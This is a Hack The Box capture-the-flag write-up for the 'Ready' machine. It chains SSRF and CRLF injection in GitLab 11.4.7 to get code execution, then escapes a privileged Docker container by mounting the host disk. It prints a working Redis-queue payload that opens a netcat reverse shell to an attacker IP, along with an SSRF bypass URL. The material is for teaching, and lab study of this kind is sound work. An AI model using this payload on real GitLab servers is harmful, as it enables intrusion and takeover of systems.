Passwords, hashes and Flags will be redacted to encourage you to solve those challenges on your own.
Synopsis
“Ready” is an medium difficulty Linux machine that features GitLab on docker environment. The version of running GitLab which has a vulnerability is 11.4.7 Community Edition. There’s two distinct vulnerability exists on this version of GitLab SSRF and CRLF. Combining both vulnerability we can gain initial access on target machine. Then we need to escape docker to get the root flag. You can read more on both vulnerabilities and how it works here.
Skills Required
- Web Enumeration
- Linux Enumeration
- Docker Enumeration
Skills Learned
- Bypassing SSRF Protection
- CRLF Injection
- Escape Docker Privileged Container
Enumeration
Nmap reveals that SSH (22) and HTTP (5080) are open on target machine. Target is running Ubuntu Linux Server, from nmap script it shows information about that its redirecting to to sign_in page and page title is GITLAB. BTS, I ran gobuster, checked robots.txt file, basically did every normal enumeration to find extra details, unfortunately there’s nothing which interests us.
Visiting the homepage, it takes us to sign-in page, let’s register and login.
Once you login, check help section for version information of this gitlab application.
The running version on target machine is 11.4.7 it also displays “update asap” and current updated version is 13.9. Version 11.4.7 released back in November 2018, its a 2+ year old version and upon little bit googling you can find vulnerabilities related to that version and also some POCs.
Vulnerability Details
So, basically there are two different vulnerability exists in the gitlab version 11.4.7. SSRF CVE-2018–19571 and CRLF Injection CVE-2018–19585. If you check the GitLab commits of 11.4.8 you’d see couple security fix for previous version.
The commits also tells how the fix has enabled and it gives us the idea of bypassing the previous version. LiveOverFlow explained in his blog how to exploit these vulnerabilities by chaining SSRF and CRLF and get the flag. But for this HTB machine we are interested in reverse shell, by changing small part of the payload we can get the reverse shell.
Initial Access
As I said earlier there are POCs already available on exploit-db and GitHub and we can get reverse shell without using them too. I will cover both approach.
Manual Exploitation
Sign In and follow the steps
We are going to create a new project, then we import project by selecting “repo by url”. Though this we can fetch a repository from another IP/url.
If you have read LiveOverFlow’s blog then you’d already know that we have a payload.
http://[0:0:0:0:0:ffff:127.0.0.1]:1234/test/ssrf.git
In GIT url, we are inputting the SSRF bypass string with project name, project slug and create the project. Make sure to capture this request in BurpSuite. Send this request to repeater, from here we change our string and input payload. By this we can bypass SSRF protection and inject CRLF to get the RCE.
Note: start a netcat listener on any port.
Now we have to replace the “import_url” with our payload. Change IP and port accordingly. Below is the payload you can use to replace. Make sure to not remove any space or white space.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
multisadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push “{\”class\”:\”GitlabShellWorker\”,\”args\”:[\”class_eval\”,\”open(\’|nc -e /bin/bash 10.10.14.24 4444\’).read\”],\”retry\”:3,\”queue\”:\”system_hook_push\”,\”jid\”:\”ad52abc5641173e217eb2e52\”,\”created_at\”:1513714403.8122594,\”enqueued_at\”:1513714403.8129568}”
exec
exec
exec
If everything's goes well, then you’d get the reverse connection on netcat listener.
This was manual exploitation. After couple of tries I got it right.
Automated Exploitation
If you don’t have time to try the manual stuff, then you can try this automated way using available exploit code. You need to register then you can try this.
Clone the repository on your machine and input required details.
- -u username
- -p password
- -g target IP address
- -l attacker IP address
- -P attacker port address
Note: before you Exploit, make sure to set up a netcat listener to get reverse connection.
If everything’s goes well, then you’d get a reverse connection.
Aight, *hacker voice* we are in. Upgrade the shell and get the user flag.
Privilege Escalation
Now we need to escalate our privileges to root. Let’s run LinPeas on target to find any misconfigurations or outdated applications.
We are in docker container.
If we check docker file, then we see that we are in a privileged container. If somehow we gain access to root shell of docker then we can escape this container to access root flag or even shell access to root user of Ubuntu (not docker).
This docker container which we are in right now is being executed (run) with —privileged flag, so by default we have root privilege access to host machine, but the requirement is to be root of docker container then only we can able to access the host machine.
Our linpeas found a password, it works with root user of container.
We got root access of container, now we need to escape this to access the host filesystem.
To check if you have access to host partition or not then you can run “fdisk -l” command.
If you see the host filesystem then you can access it. Now we need to mount this Linux filesystem (/dev/sda2) to access. We will create a directory and mount it inside that.
Now we can access the host filesystem from that location.
Let’s read the root flag.
We got all the flags required to complete this machine.
Thank you for reading this blog. While attempting this challenge I learned so many things. This was unique target with unique vulnerability.
Reference
https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
https://gitlab.com/gitlab-org/gitlab-foss/-/commit/ecbdef090277848d409ed7f97f69f53bbac7a92c
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#privileged-flag
